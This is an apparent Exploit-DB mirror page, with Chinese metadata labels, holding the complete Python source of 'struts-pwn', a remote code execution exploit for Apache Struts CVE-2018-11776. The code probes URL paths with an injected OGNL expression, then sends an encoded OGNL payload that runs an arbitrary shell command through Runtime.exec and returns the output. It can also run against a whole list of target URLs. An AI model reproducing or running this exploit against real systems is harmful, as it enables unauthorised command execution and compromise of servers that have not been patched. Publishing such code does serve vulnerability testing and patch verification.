Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)

  • 作者: Mazin Ahmed
    日期: 2018-08-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45260/
  • #!/usr/bin/env python3
    # coding=utf-8
    # *****************************************************
    # struts-pwn: Apache Struts CVE-2018-11776 Exploit
    # Author:
    # Mazin Ahmed <Mazin AT MazinAhmed DOT net>
    # This code uses a payload from:
    # https://github.com/jas502n/St2-057
    # *****************************************************
    
    import argparse
    import random
    import requests
    import sys
    try:
    from urllib import parse as urlparse
    except ImportError:
    import urlparse
    
    # Disable SSL warnings
    try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
    except Exception:
    pass
    
    if len(sys.argv) <= 1:
    print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
    print('[*] Struts-PWN - @mazen160')
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)
    
    
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url",
    dest="url",
    help="Check a single URL.",
    action='store')
    parser.add_argument("-l", "--list",
    dest="usedlist",
    help="Check a list of URLs.",
    action='store')
    parser.add_argument("-c", "--cmd",
    dest="cmd",
    help="Command to execute. (Default: 'id')",
    action='store',
    default='id')
    parser.add_argument("--exploit",
    dest="do_exploit",
    help="Exploit.",
    action='store_true')
    
    
    args = parser.parse_args()
    url = args.url if args.url else None
    usedlist = args.usedlist if args.usedlist else None
    cmd = args.cmd if args.cmd else None
    do_exploit = args.do_exploit if args.do_exploit else None
    
    headers = {
    'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
    # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
    'Accept': '*/*'
    }
    timeout = 3
    
    
    def parse_url(url):
    """
    Parses the URL.
    """
    
    # url: http://example.com/demo/struts2-showcase/index.action
    
    url = url.replace('#', '%23')
    url = url.replace(' ', '%20')
    
    if ('://' not in url):
    url = str("http://") + str(url)
    scheme = urlparse.urlparse(url).scheme
    
    # Site: http://example.com
    site = scheme + '://' + urlparse.urlparse(url).netloc
    
    # FilePath: /demo/struts2-showcase/index.action
    file_path = urlparse.urlparse(url).path
    if (file_path == ''):
    file_path = '/'
    
    # Filename: index.action
    try:
    filename = url.split('/')[-1]
    except IndexError:
    filename = ''
    
    # File Dir: /demo/struts2-showcase/
    file_dir = file_path.rstrip(filename)
    if (file_dir == ''):
    file_dir = '/'
    
    return({"site": site,
    "file_dir": file_dir,
    "filename": filename})
    
    
    def build_injection_inputs(url):
    """
    Builds injection inputs for the check.
    """
    
    parsed_url = parse_url(url)
    injection_inputs = []
    url_directories = parsed_url["file_dir"].split("/")
    
    try:
    url_directories.remove("")
    except ValueError:
    pass
    
    for i in range(len(url_directories)):
    injection_entry = "/".join(url_directories[:i])
    
    if not injection_entry.startswith("/"):
    injection_entry = "/%s" % (injection_entry)
    
    if not injection_entry.endswith("/"):
    injection_entry = "%s/" % (injection_entry)
    
    injection_entry += "{{INJECTION_POINT}}/"# It will be renderred later with the payload.
    injection_entry += parsed_url["filename"]
    
    injection_inputs.append(injection_entry)
    
    return(injection_inputs)
    
    
    def check(url):
    random_value = int(''.join(random.choice('0123456789') for i in range(2)))
    multiplication_value = random_value * random_value
    injection_points = build_injection_inputs(url)
    parsed_url = parse_url(url)
    print("[%] Checking for CVE-2018-11776")
    print("[*] URL: %s" % (url))
    print("[*] Total of Attempts: (%s)" % (len(injection_points)))
    attempts_counter = 0
    
    for injection_point in injection_points:
    attempts_counter += 1
    print("[%s/%s]" % (attempts_counter, len(injection_points)))
    testing_url = "%s%s" % (parsed_url["site"], injection_point)
    testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
    try:
    resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
    except Exception as e:
    print("EXCEPTION::::--> " + str(e))
    continue
    if "Location" in resp.headers.keys():
    if str(multiplication_value) in resp.headers['Location']:
    print("[*] Status: Vulnerable!")
    return(injection_point)
    print("[*] Status: Not Affected.")
    return(None)
    
    
    def exploit(url, cmd):
    parsed_url = parse_url(url)
    
    injection_point = check(url)
    if injection_point is None:
    print("[%] Target is not vulnerable.")
    return(0)
    print("[%] Exploiting...")
    
    payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
    
    testing_url = "%s%s" % (parsed_url["site"], injection_point)
    testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
    
    try:
    resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
    except Exception as e:
    print("EXCEPTION::::--> " + str(e))
    return(1)
    
    print("[%] Response:")
    print(resp.text)
    return(0)
    
    
    def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
    if url:
    if not do_exploit:
    check(url)
    else:
    exploit(url, cmd)
    
    if usedlist:
    URLs_List = []
    try:
    f_file = open(str(usedlist), "r")
    URLs_List = f_file.read().replace("\r", "").split("\n")
    try:
    URLs_List.remove("")
    except ValueError:
    pass
    f_file.close()
    except Exception as e:
    print("Error: There was an error in reading list file.")
    print("Exception: " + str(e))
    exit(1)
    for url in URLs_List:
    if not do_exploit:
    check(url)
    else:
    exploit(url, cmd)
    
    print("[%] Done.")
    
    
    if __name__ == "__main__":
    try:
    main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
    except KeyboardInterrupt:
    print("\nKeyboardInterrupt Detected.")
    print("Exiting...")
    exit(0)